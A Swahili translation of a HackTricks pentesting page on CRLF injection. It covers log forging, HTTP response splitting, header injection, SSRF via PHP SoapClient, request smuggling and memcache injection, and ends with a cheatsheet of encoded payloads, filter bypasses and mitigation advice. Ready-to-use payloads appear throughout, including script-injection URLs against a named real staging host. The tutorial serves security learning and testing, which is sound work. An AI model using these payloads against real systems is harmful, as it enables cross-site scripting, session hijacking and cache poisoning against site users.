hacktricks/pentesting-web/crlf-0d-0a.md
2024-02-11 02:13:58 +00:00

16 KiB

Uingizaji wa CRLF (%0D%0A)

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Ikiwa una nia ya kazi ya kudukua na kudukua yasiyodukuliwa - tunatafuta wafanyakazi! (inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha).

{% embed url="https://www.stmcyber.com/careers" %}

CRLF

Carriage Return (CR) na Line Feed (LF), inayojulikana kwa pamoja kama CRLF, ni mfuatano maalum wa herufi zinazotumiwa katika itifaki ya HTTP kuashiria mwisho wa mstari au mwanzo wa mwingine. Seva za wavuti na vivinjari hutumia CRLF kutofautisha kati ya vichwa vya HTTP na mwili wa jibu. Herufi hizi hutumiwa kwa pamoja katika mawasiliano ya HTTP/1.1 kwenye aina mbalimbali za seva za wavuti, kama vile Apache na Microsoft IIS.

Tishio la Kudukua CRLF

Kudukua CRLF kunahusisha uingizaji wa herufi za CR na LF kwenye kuingia kutoka kwa mtumiaji. Hatua hii inawadanganya seva, programu, au mtumiaji kuichukulia mfuatano ulioingizwa kama mwisho wa jibu moja na mwanzo wa jingine. Ingawa herufi hizi hazina madhara kwa asili, matumizi yasiyofaa yanaweza kusababisha mgawanyiko wa majibu ya HTTP na shughuli zingine za uovu.

Mfano: Uingizaji wa CRLF kwenye Faili ya Kumbukumbu

Mfano kutoka hapa

Fikiria faili ya kumbukumbu katika kiolesura cha admin ambayo inafuata muundo: IP - Wakati - Njia Iliyotembelewa. Kuingia kawaida inaweza kuonekana kama:

123.123.123.123 - 08:15 - /index.php?page=home

Mshambuliaji anaweza kutumia CRLF injection kudhibiti hii kumbukumbu. Kwa kuingiza herufi za CRLF katika ombi la HTTP, mshambuliaji anaweza kubadilisha mtiririko wa matokeo na kuunda vipengele vya kumbukumbu bandia. Kwa mfano, mfululizo ulioingizwa unaweza kubadilisha kipengele cha kumbukumbu kuwa:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Hapa, %0d na %0a wanawakilisha fomu zilizofanywa URL-encoded za CR na LF. Baada ya shambulio, kumbukumbu itaonyesha kwa njia ya kupotosha:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Mshambuliaji huficha shughuli zao za uovu kwa kuifanya ionekane kama vile localhost (kitu kinachotegemewa kawaida ndani ya mazingira ya seva) imefanya vitendo hivyo. Seva inachukulia sehemu ya ombi inayoanza na %0d%0a kama parameter moja, wakati parameter ya restrictedaction inachambuliwa kama kuingiza nyingine. Ombi lililobadilishwa linajifanya kuwa amri halali ya utawala: /index.php?page=home&restrictedaction=edit

Kugawanyika kwa Majibu ya HTTP

Maelezo

Kugawanyika kwa Majibu ya HTTP ni udhaifu wa usalama unaotokea wakati mshambuliaji anatumia muundo wa majibu ya HTTP. Muundo huu unatenganisha vichwa kutoka kwa mwili kwa kutumia mfululizo maalum wa herufi, Carriage Return (CR) ikifuatiwa na Line Feed (LF), inayojulikana kwa pamoja kama CRLF. Ikiwa mshambuliaji anafanikiwa kuweka mfululizo wa CRLF kwenye kichwa cha majibu, wanaweza kwa ufanisi kubadilisha maudhui ya majibu yanayofuata. Aina hii ya ubadilishaji inaweza kusababisha masuala makubwa ya usalama, haswa Cross-site Scripting (XSS).

XSS kupitia Kugawanyika kwa Majibu ya HTTP

  1. Programu inaweka kichwa cha desturi kama hiki: X-Custom-Header: UserInput
  2. Programu inapata thamani ya UserInput kutoka kwa parameter ya ombi, sema "user_input". Katika hali ambazo hakuna ukaguzi sahihi wa kuingiza na uendeshaji, mshambuliaji anaweza kuunda mzigo ambao unajumuisha mfululizo wa CRLF, ukifuatiwa na maudhui mabaya.
  3. Mshambuliaji anaunda URL na 'user_input' iliyoandaliwa kwa njia maalum: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • Katika URL hii, %0d%0a%0d%0a ni fomu iliyosimbwa ya CRLFCRLF. Inadanganya seva kuweka mfululizo wa CRLF, ikifanya seva itambue sehemu inayofuata kama mwili wa majibu.
  1. Seva inarudisha kuingiza kwa mshambuliaji kwenye kichwa cha majibu, ikisababisha muundo usiotarajiwa wa majibu ambapo hati mbaya inachambuliwa na kivinjari kama sehemu ya mwili wa majibu.

Mfano wa Kugawanyika kwa Majibu ya HTTP inayoongoza kwa Uelekezaji

Kutoka https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Kivinjari kwa:

/%0d%0aLocation:%20http://myweb.com

Na seva inajibu na kichwa:

Location: http://myweb.com

Mfano mwingine: (kutoka https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Katika Njia ya URL

Unaweza kutuma mzigo ndani ya njia ya URL ili kudhibiti jibu kutoka kwa seva (mfano kutoka hapa):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Angalia mifano zaidi katika:

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

Uingizaji wa Kichwa cha HTTP

Uingizaji wa Kichwa cha HTTP, mara nyingi hufanywa kupitia uingizaji wa CRLF (Carriage Return and Line Feed), inaruhusu wadukuzi kuweka vichwa vya HTTP. Hii inaweza kudhoofisha taratibu za usalama kama vile XSS (Cross-Site Scripting) filters au SOP (Same-Origin Policy), na kusababisha ufikiaji usiohalali wa data nyeti, kama vile CSRF tokens, au udanganyifu wa vikao vya mtumiaji kupitia kupanda kuki.

Kudukua CORS kupitia Uingizaji wa Kichwa cha HTTP

Mshambuliaji anaweza kuingiza vichwa vya HTTP ili kuwezesha CORS (Cross-Origin Resource Sharing), kukiuka vizuizi vilivyowekwa na SOP. Ukiukaji huu unaruhusu skripti kutoka asili mbaya kuingiliana na rasilimali kutoka asili tofauti, na hivyo kufikia data iliyolindwa.

SSRF na Uingizaji wa Ombi la HTTP kupitia CRLF

Uingizaji wa CRLF unaweza kutumika kuunda na kuingiza ombi jipya kabisa la HTTP. Mfano maarufu wa hii ni udhaifu katika darasa la SoapClient la PHP, haswa ndani ya parameter ya user_agent. Kwa kubadilisha parameter hii, mshambuliaji anaweza kuingiza vichwa na maudhui ya mwili ya ziada, au hata kuingiza ombi jipya kabisa la HTTP. Hapa chini ni mfano wa PHP unaodhihirisha udanganyifu huu:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Uingizaji wa Kichwa kwa Kusafirisha Ombi

Kwa habari zaidi kuhusu mbinu hii na matatizo yanayoweza kutokea angalia chanzo asili.

Unaweza kuingiza vichwa muhimu ili kuhakikisha seva ya nyuma inaendelea kuweka uhusiano wazi baada ya kujibu ombi la awali:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Baadaye, ombi la pili linaweza kutajwa. Kwa kawaida, hali hii inahusisha kuiba ombi la HTTP, mbinu ambapo vichwa vya ziada au vipengele vya mwili vilivyowekwa na seva baada ya kuingizwa vinaweza kusababisha shambulio mbalimbali la usalama.

Udanganyifu:

  1. Uingizaji wa Awali wa Kudhuru: Njia hii inahusisha kuchafua ombi la mtumiaji au hifadhi ya wavuti kwa kutaja awali ya kudhuru. Mfano wa hii ni:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Kuunda Awali kwa Kuchafua Safu ya Majibu: Njia hii inahusisha kuunda awali ambayo, wakati inachanganywa na takataka ya mwisho, inaunda ombi la pili kamili. Hii inaweza kusababisha kuchafua safu ya majibu. Mfano ni:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Uingizaji wa Memcache

Memcache ni hifadhi ya funguo-na-thamani ambayo hutumia itifaki ya maandishi wazi. Maelezo zaidi katika:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

Kwa habari kamili soma maandishi ya asili

Ikiwa jukwaa linachukua data kutoka kwa ombi la HTTP na kuitumia bila kuisafisha kufanya ombi kwa seva ya memcache, mshambuliaji anaweza kutumia tabia hii ku ingiza amri mpya za memcache.

Kwa mfano, katika kasoro ya awali iliyogunduliwa, funguo za hifadhi zilitumiwa kurudisha anwani ya IP na bandari ambayo mtumiaji anapaswa kuunganisha, na wadukuzi walikuwa na uwezo wa kuingiza amri za memcache ambazo zingepoison hifadhi kutuma maelezo ya wahasiriwa (pamoja na majina ya watumiaji na nywila) kwa seva ya mshambuliaji:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

Zaidi ya hayo, watafiti pia waligundua kuwa wangeweza kuvuruga majibu ya memcache ili kutuma anwani za IP na bandari za wadukuzi kwa watumiaji ambao barua pepe zao wadukuzi hawakujua:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

Jinsi ya Kuzuia Uingizaji wa CRLF / Vichwa vya HTTP katika Maombi ya Wavuti

Ili kupunguza hatari za Uingizaji wa CRLF (Carriage Return and Line Feed) au Vichwa vya HTTP katika maombi ya wavuti, mikakati ifuatayo inapendekezwa:

  1. Epuka Ingizo la Moja kwa Moja la Mtumiaji katika Vichwa vya Majibu: Njia salama zaidi ni kuepuka kuunganisha moja kwa moja kuingizo la mtumiaji katika vichwa vya majibu.

  2. Kodisha Tabia Maalum: Ikiwa kuepuka kuingiza moja kwa moja la mtumiaji sio rahisi, hakikisha kutumia kazi maalum ya kubadilisha tabia maalum kama CR (Carriage Return) na LF (Line Feed). Mbinu hii inazuia uwezekano wa uingizaji wa CRLF.

  3. Sasisha Lugha ya Programu: Sasisha mara kwa mara lugha ya programu inayotumiwa katika maombi yako ya wavuti hadi toleo jipya zaidi. Chagua toleo ambalo kwa asili linazuia uingizaji wa herufi za CR na LF ndani ya kazi zinazohusika na kuweka vichwa vya HTTP.

CHEATSHEET

Cheatsheet kutoka hapa

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Zana za Kiotomatiki

Orodha ya Uchunguzi wa Nguvu

Marejeo

Ikiwa una nia ya kazi ya kuhack na kuhack mambo yasiyohack - tunatoa ajira! (inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha).

{% embed url="https://www.stmcyber.com/careers" %}

Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: